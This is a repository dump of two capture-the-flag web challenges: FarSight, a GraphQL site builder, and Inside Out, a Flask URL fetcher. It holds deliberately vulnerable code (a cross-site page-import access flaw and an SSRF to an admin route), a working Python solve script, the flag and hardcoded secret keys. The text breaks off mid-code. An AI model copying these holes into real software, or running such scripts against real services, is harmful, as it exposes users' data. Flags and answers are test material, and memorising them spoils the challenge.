degree.|\n|May people staff structure decision way also game.|Unit art forget positive send budget.|Audience head growth nature suggest without add.|\n\n\nHouse entire ahead seat sign voice least. Claim send seven every.\n\nAvoid thing left get wonder. Marriage five her red rather sign. Already model food drug Mr prove seek.\n\n*Catch strong area cultural couple their need method.*\n*Unit leg them threat treat first pick.*\nSon very eat tell recently.\n---------------------------\n\n1. Over word force.\n1. Herself wide once hold assume.\n1. Prove sister couple need.\n\n\n','\n',chr(10)),15), (70, 'free point floor',replace('1. Increase agent same note.\n1. See born throw before since television computer.\n1. Professional wrong this real month.\n|For involve eat learn human car.|Responsibility range factor itself address safe.|Wife stuff exist area term him success most.|\n|--------------------------------|------------------------------------------------|--------------------------------------------|\n|Catch police never never candidate small.|Site population prepare air go might establish against.|By travel finally can country organization.|\n|None phone no concern me avoid citizen.|Shoulder white design likely clearly laugh ten news.|Friend agree or crime own.|\n|Anyone account hand whether economic power after.|Decide old single new high poor.|They law spring thus animal although whose.|\n|Article research chance short answer lawyer.|View whose which anything.|Lose trouble body similar.|\n\n\n![Establish senior build without herself.](https://picsum.photos/321 "From cell son issue onto such for form. Wife make control mission success wrong.")\n\n_**Development piece clear billion herself same night goal.**_\n|Speech result visit paper could business.|Stop benefit high write reality physical.|Response draw few.|\n|-----------------------------------------|-----------------------------------------|------------------|\n|Marriage account medical across think radio future.|Win whether name fall well present treatment claim.|Exist animal when scene.|\n|Back analysis west.|System cultural trial.|Necessary rule stay.|\n|Skill treat yeah model.|Get first single agreement network artist.|Lawyer her number administration collection recent example.|\n|Food technology method bring art performance artist.|Project side simply professional difference relationship court.|Who take office.|\n\n\nSchool fight worry drug other without.\n--------------------------------------\n\n\n\n```member\nLate list responsibility thus. Product of himself themselves hand. Maybe between building. Trip space organization always area beyond ahead.\n```\n\nnatural\n```population\nCarry she your into throw. Old past if enough home former bank. My fall north team represent.\n```\n\n\n\n\n\n_**Those success popular.**_\n***\n\n1. Positive nor seek nor kid send create.\n1. Cover type sort hot truth price.\n1. Year interest them together.\n\n\n![Score relate care natural behavior.](https://picsum.photos/401 "Factor article heavy civil. Information war out remember painting key. Central too indicate art under line skill.\nWar while expect course vote.")\n\n```this\nWithin it find able mean great religious.\n```\n\nParticipant national already region.\n\nBecause great perhaps other seven reach modern.\n-----------------------------------------------\n\nback\n```election\nCell approach new. President exist arrive two. Fact rich nature administration if year.\n```\n\n\n\n___\n\n![Take rest Mrs season.](https://picsum.photos/462 "Recent mention much civil pressure rock identify. Commercial billion vote general marriage first.\nWest this detail give hot. Lose shoulder daughter car Mr station official major.")\n\n[Later dog former common lawyer study.](https://www.white.com/)\n\n1. Many score building politics Congress whom guy.\n1. Of know few cell suffer decade interesting read.\n1. Carry attack most bank citizen drop reason year.\n\n***Prove reflect current mind treatment great especially.***\nWell Democrat ready.\n--------------------\n\nNumber plan find sell nice three. Many daughter evening tell population laugh save. Defense chair production \nradio outside yet.\n\n### Result time reason model government.\n\n1. Sing gas speak join newspaper effort what.\n1. Mr control owner child.\n1. Language though expect professor it station huge.\nHuman me wait early when bring discuss.\n\n___\n\n1. Thing record former little face moment.\n1. Data bit happen both option.\n1. Boy management way others final.\n_Movie discuss serve popular recognize notice._\n---\n\n###### Letter capital hour from forget view.\n\n\n\n - Already instead of choice whose method week nothing.\n\n|Produce or onto available pass movie those performance.|I hold once into find later camera.|Home size final building continue within expert.|\n|-------------------------------------------------------|-----------------------------------|------------------------------------------------|\n|Imagine first step enough dream open prevent here.|Sing film first head early study.|Community team everyone option suffer gas.|\n|Letter fight father record popular memory.|Line modern school indicate.|Dream rock everyone.|\n|Quickly quickly experience believe tend should medical.|Present talk field style type responsibility material.|Anyone operation history.|\n|Everything might support.|Should yourself news understand hand spend.|Style interesting ago couple forward.|\n\n\n\n\n***Bill opportunity top color.***\n1. Sit care notice face happen accept sea.\n1. Interview cell image candidate fly.\n1. Common thing mouth simply these pick Mr half.\n\n|Poor beyond near ability yes responsibility.|Big head chance design seem blue.|Unit may shake.|\n|--------------------------------------------|---------------------------------|---------------|\n|Also expect leave yourself might discover read.|Modern before imagine woman month fear garden.|Him station beautiful.|\n|Recent new enter only physical each fish pressure.|Them sometimes life realize article.|Make several make modern she season.|\n|System plan picture well body.|Place oil life face.|How evening word bad.|\n|Sea technology thus may join see.|Someone fish describe sometimes realize man dream.|Without close you change affect young baby hope.|\n\n\n4. Dinner notice she truth serve evidence girl.\n\nDemocratic late say by. Leave ready house company list. Popular bed them within. Song example dark reality.\n\nVery health behind. Prove herself action.\n\n1. Ahead smile claim to.\n1. Town order reduce image wait human shake.\n1. Low consumer close point.\n\nJob go you. Place study sea actually gas look one. Face know attorney huge. Traditional hear establish appear. \n\n','\n',chr(10)),15), (71, 'Mr several color traditional',replace('Agency create her then.\n-----------------------\n\n_Evidence theory never need._\nCard each down approach.\n\nMy whom daughter second.\n\n - Perform more require study way.\n\nopen\n> Short class activity fire remember response.\n\nLose house among hospital writer top itself.\n--------------------------------------------\n\n[Point respond everything.](https://hall.net/)\n\n 1. Author bring leader garden total hundred remain.\n\n','\n',chr(10)),15); ALTER SEQUENCE page_id_seq RESTART WITH 72; COMMIT; ================================================ FILE: web/farsight/docker-compose.yml ================================================ services: web: build: . image: farsight.web.ctf.local ports: ["8000:8000"] environment: PGUSER: postgres PGPASSWORD: postgres PGHOST: db PGDATABASE: farsight links: [db] db: image: postgres environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres POSTGRES_DB: farsight volumes: - ./data/:/docker-entrypoint-initdb.d/ ================================================ FILE: web/farsight/flag.txt ================================================ DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179} ================================================ FILE: web/farsight/frontend/assets/browser.mjs ================================================ import { graphql } from "./util.mjs"; export class SiteBrowser { constructor(siteId) { this.token = localStorage.getItem("token"); this.siteId = siteId; this.siteInfo = undefined; } async loadSiteData() { this.siteInfo = ( await graphql( ` query site($site: ID!) { site(id: $site) { id name public owner { id } config { key value } pages { id name content } } } `, { site: this.siteId } ) ).site; } listPages() { return this.siteInfo.pages; } getPage(pageId) { return this.siteInfo.pages.find((p) => +p.id === +pageId); } getSite() { return this.siteInfo; } } ================================================ FILE: web/farsight/frontend/assets/index.mjs ================================================ import { selectView, getCurrentUser } from "./util.mjs"; import { SiteBrowser } from "./browser.mjs"; import { graphql } from "./util.mjs"; (async function () { const router = new Navigo("/"); const user = await getCurrentUser(); const pageSel = document.querySelector("#page-list"); const pageAdd = document.querySelector("#page-add"); const heading = document.querySelector(".container > header > h1"); const content = document.querySelector(".container > main"); const pgModal = document.querySelector("#page-modal"); const newPgFm = document.querySelector("#page-modal form"); const cfModal = document.querySelector("#conf-modal"); const confAdd = document.querySelector("#conf-add"); pgModal.querySelector('[data-modal="close"]').addEventListener("click", () => (pgModal.style.display = "none")); cfModal.querySelector('[data-modal="close"]').addEventListener("click", () => (cfModal.style.display = "none")); router.on("/", () => router.navigate("/home")); router.on("/home", () => selectView("home")); router.on("/logout", () => { localStorage.removeItem("token"); window.location.reload(); }); router.on("/browser", () => router.navigate(`/browser/${user.sites[0].id}`)); router.on("/browser/:siteid", async (route) => { selectView("browser"); const siteId = route.data.siteid; const browser = new SiteBrowser(siteId); await browser.loadSiteData(); const pages = browser.listPages(); if (pages.length > 0) { selectPage(pages[0].id); } else { heading.textContent = "No Pages Yet. Make one!"; } pageSel.innerHTML = ""; pages.forEach((page) => { const opt = document.createElement("option"); opt.textContent = page.name; opt.value = page.id; pageSel.appendChild(opt); }); content.removeAttribute("style"); browser.getSite().config.map(({ key, value }) => content.style.setProperty(key, value)); pageSel.onchange = () => selectPage(+pageSel.value); pageAdd.onclick = () => { pgModal.style.display = "block"; pgModal.querySelector('[data-modal="submit"]').onclick = async () => { const data = Object.fromEntries(new FormData(newPgFm).entries()); const res = await graphql( ` mutation newPage($name: String, $content: String, $siteId: ID!) { newPage(name: $name, content: $content, siteId: $siteId) } `, { ...data, siteId } ); newPgFm.reset(); pgModal.style.display = "none"; if (res.errors) { console.error(res); alert("An error occurred."); } router.navigate("/browser"); }; }; confAdd.onclick = () => { cfModal.style.display = "block"; const confArea = cfModal.querySelector("textarea"); confArea.value = JSON.stringify(browser.getSite().config, null, 4); cfModal.querySelector('[data-modal="submit"]').onclick = async () => { try { JSON.parse(confArea.value); } catch { alert("Invalid JSON"); return; } const config = JSON.stringify( Object.fromEntries(JSON.parse(confArea.value).map((conf) => [conf.key, conf.value])) ); const res = await graphql( ` mutation setSiteconfig($config: String!, $siteId: ID!) { setSiteConfig(config: $config, siteId: $siteId) } `, { config, siteId } ); if (res.errors) { console.error(res); alert("An error occurred when updating config"); } cfModal.style.display = "none"; }; }; function selectPage(pageId) { const page = browser.getPage(pageId); heading.textContent = `${browser.getSite().name} / ${page.name}`; content.innerHTML = DOMPurify.sanitize(marked(page.content)); } }); router.resolve(); })(); ================================================ FILE: web/farsight/frontend/assets/util.mjs ================================================ export async function graphql(query, params = {}) { const res = await fetch("/graphql", { method: "POST", headers: { "Content-Type": "application/json", Accept: "application/json", Authorization: `Bearer ${localStorage.getItem("token")}`, }, body: JSON.stringify({ query, variables: params, }), }); const jsonData = await res.json(); return jsonData.data; } export async function getCurrentUser() { if (!localStorage.getItem("token")) { return null; } return ( await graphql( ` query me { me { username sites { id name } } } ` ) ).me; } export function selectView(link) { const nav = document.querySelector("nav"); Array.from(nav.querySelectorAll("a[href]")).forEach((e) => e.classList.remove("active")); Array.from(document.querySelectorAll("[data-view]")).forEach((e) => (e.style.display = "none")); nav.querySelector(`a[href="/${link}"]`).classList.add("active"); document.querySelector(`[data-view="${link}"]`).style.display = "block"; } ================================================ FILE: web/farsight/frontend/index.html ================================================ FarSight

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================================================ FILE: web/farsight/frontend/login.html ================================================ FarSight | Login

FarSight | Login Or Register

================================================ FILE: web/farsight/package.json ================================================ { "name": "farsight", "version": "1.0.0", "description": "", "main": "src/app.ts", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC", "dependencies": { "@types/express": "^4.17.13", "@types/graphql-depth-limit": "^1.1.2", "@types/jsonwebtoken": "^8.5.5", "@types/koa": "^2.13.4", "@types/koa-mount": "^4.0.1", "@types/koa-static": "^4.0.2", "@types/node": "^16.7.1", "@types/pg": "^8.6.1", "apollo-server-core": "^3.3.0", "apollo-server-koa": "^3.3.0", "argon2": "^0.28.2", "graphql": "^15.5.1", "graphql-depth-limit": "^1.1.0", "jsonwebtoken": "^8.5.1", "koa": "^2.13.1", "koa-mount": "^4.0.0", "koa-static": "^5.0.0", "npm": "^7.21.0", "pg": "^8.7.1", "rate-limiter-flexible": "^2.2.4", "typescript": "^4.3.5" }, "devDependencies": { "prettier": "^2.3.2", "ts-node": "^10.2.1" } } ================================================ FILE: web/farsight/solve/solve.py ================================================ from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter import requests BASE_URL = "http://localhost:8000" adapter = HTTPAdapter(max_retries=Retry( total=3, backoff_factor=1, status_forcelist=[429], method_whitelist=["POST"] )) sess = requests.Session() sess.mount("https://", adapter) sess.mount("http://", adapter) # 1. Introspect introspected = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query introspect { __schema { types { kind name description fields { name description } } } }""" }).json()['data']['__schema']['types'] # Check required gadgets exist page_type = next(o for o in introspected if o['name'] == 'Page') mutation_type = next(o for o in introspected if o['name'] == 'Mutation') owner_site_field = next(f for f in page_type['fields'] if f['name'] == 'ownerSite') site_refs_field = next(f for f in page_type['fields'] if f['name'] == 'siteRefs') import_page_mut = next(f for f in mutation_type['fields'] if f['name'] == 'importPage') assert 'beta' in owner_site_field['description'] assert 'beta' in site_refs_field['description'] assert 'beta' in import_page_mut['description'] # 2. Signin token = sess.post(f"{BASE_URL}/graphql", json={ 'query': """mutation register { loginOrRegister(username: "solve", password: "solve83e5bff44ba10605") }""" }).json()['data']['loginOrRegister'] # 3. Get our site id me = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query me { me { id sites { id } } }""" }, headers={"Authorization": f"Bearer {token}"}).json()['data']['me'] # 3. Import the a few pages into our site for page in range(0, 16): sess.post(f"{BASE_URL}/graphql", json={ 'query': """mutation import($pageId: ID!, $siteId: ID!) { importPage(pageId: $pageId, siteId: $siteId) }""", 'variables': {'pageId': page, 'siteId': me['sites'][0]['id']}, }, headers={'Authorization': f'Bearer {token}'}) # 4. Check our sites pages pages = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query sitepage($site: ID!) { site(id: $site) { id pages { id ownerSite { id name config { key value } } } } }""", 'variables': {'site': me['sites'][0]['id']} }, headers={'Authorization': f'Bearer {token}'}).json()['data']['site']['pages'] # 5. Find the flag in the configs for page in pages: for conf in page['ownerSite']['config']: if conf['key'] == 'flag': print(conf['value']) break ================================================ FILE: web/farsight/src/app.ts ================================================ import * as fs from "fs"; import { ApolloServer, AuthenticationError } from "apollo-server-koa"; import * as argon2 from "argon2"; import { Request } from "koa"; import depthLimit from "graphql-depth-limit"; import * as jwt from "jsonwebtoken"; import Koa from "koa"; import KoaStatic from "koa-static"; import KoaMount from "koa-mount"; import { RateLimiterMemory } from "rate-limiter-flexible"; import { Database, getSiteById, getSiteOwner, getSitePages, getUserById, getUserPassword, getUserSites, importPage, makePage, makeSite, makeUser, pageSites, updateSiteConfig, } from "./db"; import { LISTEN_PORT, SCHEMA_FILE, SECRET_KEY, FRONTEND_BASE, RATE_LIMIT_BYPASS } from "./config"; import { ApolloServerPluginLandingPageDisabled, ValidationError } from "apollo-server-core"; export type ResolverContext = { db: Database; user: number | undefined; }; function getAuthedUser(req: Request): number | undefined { const bearer = req.headers.authorization?.split(" ", 2)[1]; try { return bearer ? (<{ userId: number }>jwt.verify(bearer, SECRET_KEY)).userId : undefined; } catch { return undefined; } } async function verifyPassword(passwordHash: string, password: string): Promise { try { return await argon2.verify(passwordHash, password); } catch { return false; } } export const server = new ApolloServer({ typeDefs: fs.readFileSync(SCHEMA_FILE).toString(), resolvers: { Query: { async me(_, __, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("No logged in user"); return await getUserById(ctx.db, ctx.user); }, async site(_, { id }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const site = await getSiteById(ctx.db, id); return site?.ownerId === ctx.user || site?.public ? site : null; }, }, Mutation: { async loginOrRegister(_, { username, password }, ctx: ResolverContext) { const hashedPassword = await argon2.hash(password); const createdUser = await makeUser(ctx.db, username, hashedPassword); if (createdUser !== undefined) { await makeSite(ctx.db, createdUser, `${username}'s Site`); } const userInfo = await getUserPassword(ctx.db, username); if (!userInfo || !(await verifyPassword(userInfo.password, password))) { throw new AuthenticationError("Incorrect credentials"); } return jwt.sign({ userId: userInfo.id }, SECRET_KEY); }, async newPage(_, { name, content, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await makePage(ctx.db, name, content, siteId); }, async setSiteConfig(_, { config, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await updateSiteConfig(ctx.db, config, siteId); }, async importPage(_, { pageId, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) return null; const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await importPage(ctx.db, pageId, siteId); }, }, User: { async sites(parent, _, ctx: ResolverContext) { if (!parent) return []; return await getUserSites(ctx.db, parent.id); }, }, Site: { async owner(parent, _, ctx: ResolverContext) { if (!parent) return null; const site = await getSiteById(ctx.db, parent.id); return site && (await getUserById(ctx.db, site.ownerId)); }, async pages(parent, _, ctx: ResolverContext) { if (!parent) return []; return await getSitePages(ctx.db, parent.id); }, }, Page: { async ownerSite(parent, _, ctx: ResolverContext) { if (!parent) return null; return (await pageSites(ctx.db, parent.id)).owner; }, async siteRefs(parent, _, ctx: ResolverContext) { if (!parent) return null; return (await pageSites(ctx.db, parent.id)).refs; }, }, }, context: async ({ ctx: { request } }) => { return { db: await Database.getHandle(), user: getAuthedUser(request), }; }, validationRules: [depthLimit(8)], plugins: [ ApolloServerPluginLandingPageDisabled(), { async requestDidStart() { return { async willSendResponse({ context }) { context.db && context.db.close(); }, }; }, }, ], formatError: (err) => { if (err.originalError instanceof AuthenticationError) { return Error("Unauthenticated"); } else if (err instanceof ValidationError) { return Error("Invalid request. Make sure your request is not too deep (maxdepth=8)."); } else { console.log(err); return Error("An error occurred"); } }, }); (async function () { await server.start(); const rateLimiters = { // 24 rps webapp: new RateLimiterMemory({ points: 24, duration: 1, }), // 4 rps graphql: new RateLimiterMemory({ points: 4, duration: 1, }), }; const app = new Koa(); app.use(async (ctx, next) => { // Bypass for token holders if (ctx.get("x-rate-limit-bypass") == RATE_LIMIT_BYPASS) { return await next(); } const limiter = ctx.request.url === "/graphql" ? rateLimiters.graphql : rateLimiters.webapp; try { await limiter.consume(ctx.get('x-real-ip') || ctx.ip); return await next(); } catch (_e) { ctx.status = 429; ctx.body = "Too many requests"; } }); server.applyMiddleware({ app, path: "/graphql" }); app.use(KoaMount("/", KoaStatic(FRONTEND_BASE))); app.use(async (ctx, next) => { if (ctx.status === 404) { return ctx.redirect("/"); } return await next(); }); app.use(async (ctx, next) => { ctx.set("X-Frame-Options", "deny"); ctx.set("X-Content-Type-Option", "nosniff"); ctx.set("Referrer-Policy", "no-referrer"); // Omitting CSP since that might make people think its a XSS chal return await next(); }); app.listen(LISTEN_PORT); })(); ================================================ FILE: web/farsight/src/assets/schema.gql ================================================ type User { id: ID! "Username" username: String! "Sites owned by the user" sites: [Site!]! } type Site { id: ID! "Name or title of the site" name: String! "Pages in the site" pages: [Page!]! "Should this site be accessible by non-owner users" public: Boolean! "Owner of the site" owner: User! "Configurations to control styling - please do not store secrets here" config: [ConfigPair!]! } type ConfigPair { key: String! value: String! } type Page { id: ID! "Name or title of the page" name: String! "Markdown content of the page" content: String! "(beta) Main site which hosts this page" ownerSite: Site! "(beta) Sites that reference this page" siteRefs: [Site!]! } type Query { "Get the current user" me: User "Get a site by ID" site(id: ID!): Site } type Mutation { "Login as a user" loginOrRegister(username: String!, password: String!): String "Create a new page" newPage(name: String, content: String, siteId: ID!): ID! "Sets site config" setSiteConfig(config: String!, siteId: ID!): ID! "(beta) import an existing page into the site" importPage(pageId: ID!, siteId: ID!): ID! } ================================================ FILE: web/farsight/src/config.ts ================================================ import path from "path"; export const SECRET_KEY = process.env["SECRET_KEY"] || "pqFCx8hMn7t2haovHW38tj-gRVbPCIv0vHHP3luRvUA"; export const RATE_LIMIT_BYPASS = process.env["RATE_LIMIT_BYPASS"] || "x0vpwHou6Z8c7dMDWT5FygR4H1A_YyrrgC7SxzfNCdk"; export const LISTEN_PORT = 8000; export const SCHEMA_FILE = getRelPath("./assets/schema.gql"); export const FRONTEND_BASE = getRelPath("../frontend"); function getRelPath(asset: string) { return path.resolve(__dirname, asset); } ================================================ FILE: web/farsight/src/db.ts ================================================ import { Pool, PoolClient } from "pg"; export type User = { id: number; username: string; }; export type Site = { id: number; name: string; public: boolean; config: { key: string; value: string }[]; ownerId: number; }; export type Page = { id: number; name: string; content: string; }; const dbPool = new Pool(); export class Database { #client: PoolClient; constructor(client: PoolClient) { this.#client = client; } async get(query: string, args: any[]) { const rows = await this.all(query, args); return rows.length > 0 ? rows[0] : undefined; } async all(query: string, args: any[]) { return (await this.run(query, args)).rows; } async run(query: string, args: any[]) { return await this.#client.query(query, args); } close() { this.#client.release(); } static async getHandle() { return new Database(await dbPool.connect()); } } function configFromString(configStr: string) { return Object.entries(<{ [k: string]: string }>JSON.parse(configStr)).map(([k, v]) => ({ key: k, value: v })); } export async function getUserById(db: Database, userId: number): Promise { return await db.get(`SELECT id, username FROM "user" WHERE id=$1`, [userId]); } export async function getSiteById(db: Database, siteId: number): Promise { const site = await db.get("SELECT id, * FROM site WHERE id=$1", [siteId]); return { id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId: site.owner, }; } export async function getUserSites(db: Database, ownerId: number): Promise { return (await db.all("SELECT id, * FROM site WHERE owner=$1", [ownerId])).map((site) => ({ id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId, })); } export async function getSitePages(db: Database, siteId: number): Promise { return ( await db.all("SELECT id, * FROM page WHERE site=$1 OR id IN (SELECT page FROM page_ref WHERE site=$1)", [ siteId, ]) ).map((page) => ({ id: page.id, name: page.name, content: page.content, })); } export async function pageSites(db: Database, pageId: number): Promise<{ owner: Site; refs: Site[] }> { const owningSite = await db.get("SELECT id, * FROM site WHERE id=(SELECT site FROM page WHERE id=$1)", [pageId]); const refedSites = await db.all("SELECT id, * FROM site WHERE id IN (SELECT site FROM page_ref WHERE page=$1)", [ pageId, ]); return { owner: { id: owningSite.id, name: owningSite.name, public: owningSite.public, config: configFromString(owningSite.config), ownerId: owningSite.owner, }, refs: refedSites.map((site) => ({ id: site.id, name: site.name, public: site.public, config: configFromString(site.config), ownerId: site.owner, })), }; } export async function getUserPassword( db: Database, username: string ): Promise<{ id: number; password: string } | undefined> { const userInfo = await db.get(`SELECT id, password FROM "user" WHERE username=$1`, [username]); return ( userInfo && { id: userInfo.id, password: userInfo.password, } ); } export async function getSiteOwner(db: Database, siteId: number): Promise { const ownerId = await db.get("SELECT owner FROM site WHERE id=$1", [siteId]); return await getUserById(db, ownerId.owner); } export async function makeUser(db: Database, username: string, password: string): Promise { try { const res = await db.get(`INSERT INTO "user" (username, password) VALUES ($1, $2) RETURNING id`, [ username, password, ]); return res.id; } catch (e: any) { // unique contraint if (e.code !== "23505") { throw e; } } } export async function makeSite(db: Database, userId: number, name: string): Promise { const res = await db.get("INSERT INTO site (name, public, config, owner) VALUES ($1, $2, $3, $4) RETURNING id", [ name, false, JSON.stringify({ background: "white", color: "black" }), userId, ]); return res.id; } export async function updateSiteConfig(db: Database, config: String, siteId: number): Promise { await db.run("UPDATE site SET config=$1 WHERE id=$2", [config, siteId]); return 1; } export async function makePage(db: Database, name: string, ctnt: string, siteId: number): Promise { const res = await db.get("INSERT INTO page(name, content, site) VALUES ($1, $2, $3) RETURNING id", [ name, ctnt, siteId, ]); return res.id; } export async function importPage(db: Database, pageId: number, siteId: number): Promise { await db.run("INSERT INTO page_ref (site, page) VALUES ($1, $2)", [siteId, pageId]); return 1; } ================================================ FILE: web/farsight/tsconfig.json ================================================ { "compilerOptions": { /* Visit https://aka.ms/tsconfig.json to read more about this file */ /* Basic Options */ // "incremental": true, /* Enable incremental compilation */ "target": "ES2018" /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', 'ES2021', or 'ESNEXT'. */, "module": "commonjs" /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', 'es2020', or 'ESNext'. */, "lib": ["es2018", "ESNext.AsyncIterable"] /* Specify library files to be included in the compilation. */, // "allowJs": true, /* Allow javascript files to be compiled. */ // "checkJs": true, /* Report errors in .js files. */ // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', 'react', 'react-jsx' or 'react-jsxdev'. */ // "declaration": true, /* Generates corresponding '.d.ts' file. */ // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ "sourceMap": false /* Generates corresponding '.map' file. */, // "outFile": "./", /* Concatenate and emit output to single file. */ "outDir": "./build" /* Redirect output structure to the directory. */, // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ // "composite": true, /* Enable project compilation */ // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ // "removeComments": true, /* Do not emit comments to output. */ // "noEmit": true, /* Do not emit outputs. */ // "importHelpers": true, /* Import emit helpers from 'tslib'. */ // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ /* Strict Type-Checking Options */ "strict": true /* Enable all strict type-checking options. */, // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ // "strictNullChecks": true, /* Enable strict null checks. */ // "strictFunctionTypes": true, /* Enable strict checking of function types. */ // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ "strictPropertyInitialization": false /* Enable strict checking of property initialization in classes. */, // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ /* Additional Checks */ // "noUnusedLocals": true, /* Report errors on unused locals. */ // "noUnusedParameters": true, /* Report errors on unused parameters. */ // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ // "noUncheckedIndexedAccess": true, /* Include 'undefined' in index signature results */ // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an 'override' modifier. */ // "noPropertyAccessFromIndexSignature": true, /* Require undeclared properties from index signatures to use element accesses. */ /* Module Resolution Options */ // "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ // "typeRoots": [], /* List of folders to include type definitions from. */ // "types": [], /* Type declaration files to be included in compilation. */ // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ "esModuleInterop": true /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */, // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ /* Source Map Options */ // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ /* Experimental Options */ "experimentalDecorators": true /* Enables experimental support for ES7 decorators. */, "emitDecoratorMetadata": true /* Enables experimental support for emitting type metadata for decorators. */, /* Advanced Options */ "skipLibCheck": true /* Skip type checking of declaration files. */, "forceConsistentCasingInFileNames": true /* Disallow inconsistently-cased references to the same file. */ } } ================================================ FILE: web/inside-out/Dockerfile ================================================ FROM python:3 RUN apt-get update && \ apt-get install -y iproute2 && \ rm -rf /var/lib/apt/lists/* COPY ./challenge /app COPY ./requirements.txt /requirements.txt RUN /usr/bin/touch /var/log/request-proxy.log RUN pip install -r /requirements.txt CMD ["/usr/local/bin/python", "-u" ,"/app/main.py"] ================================================ FILE: web/inside-out/README.md ================================================ # Inside Out **Author:** Solopie **Category:** web **Difficulty:** Beginner ## Description You're hot then you're cold. You're yes then you're no. You're out but somehow in... Wait is that right? ================================================ FILE: web/inside-out/WRITEUP.md ================================================ # Inside Out Write Up Request the "/admin" resource (found in index source code) with the internal IP (given in the output of the example link in index) ================================================ FILE: web/inside-out/challenge/.gitignore ================================================ venv/ __pycache__/ ================================================ FILE: web/inside-out/challenge/config.py ================================================ from dotenv import load_dotenv import os import socket import ipaddress import netifaces load_dotenv() LOG_FILE = os.getenv("LOG_FILE") FLAG = os.getenv("FLAG") # Local IP # https://stackoverflow.com/a/28950776 # def get_ip(): # s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # try: # # doesn't even have to be reachable # s.connect(('10.255.255.255', 1)) # IP = s.getsockname()[0] # except Exception: # IP = '127.0.0.1' # finally: # s.close() # return IP # ASSUMED ADAPTER is eth0 addr_info = netifaces.ifaddresses("eth0")[netifaces.AF_INET][0] cidr_bits = ipaddress.IPv4Network(f"0.0.0.0/{addr_info['netmask']}").prefixlen LOCAL_CIDR = addr_info["addr"] + "/" + str(cidr_bits) # print(LOCAL_CIDR) ================================================ FILE: web/inside-out/challenge/main.py ================================================ from flask import Flask, request, jsonify, render_template from urllib.parse import urlparse from config import LOG_FILE, LOCAL_CIDR, FLAG from util import is_localhost, get_title, generate_random_ip import requests import subprocess import ipaddress import sys app = Flask(__name__) @app.route("/") def index(): return render_template("index.html") @app.route("/request") def send_request(): url = request.args.get("url") if not url: return ("

Bad request

", 400) # Give some random output for example if url == "http://example.com/": out = subprocess.run( ["ip", "addr"], stdout=subprocess.PIPE).stdout.decode("utf-8") return jsonify({ "status": "success", "text": out, "status_code": 200, "title": "Example", "redirect_url": "", "hostname": "example.com", "port": 80 }) # Getting hostname parsed_url = urlparse(url) hostname = parsed_url.hostname if parsed_url.hostname else "" # Check if request is sent to localhost if hostname and is_localhost(hostname): return render_template("blacklist.html", loopback=hostname), 403 print("Sending request: " + url) # Write result to log (the user should be in adm group to write to /var/log) with open(LOG_FILE, "a") as f: f.write(url + " from " + generate_random_ip() + "\n") # Send request result = None try: response = requests.get(url, timeout=5, allow_redirects=False) except: result = jsonify({"status": "failed"}) if result: return result # Look for title title = get_title(response.text) # Check if redirect redirect_url = "" if response.is_redirect: redirect_url = response.headers["Location"] result = { "status": "success", "text": response.text, "status_code": response.status_code, "title": title, "redirect_url": redirect_url, "hostname": hostname, "port": parsed_url.port } return jsonify(result) @app.route("/admin") def admin(): # Accessible by machines in the same local network if ("X-Real-Ip" 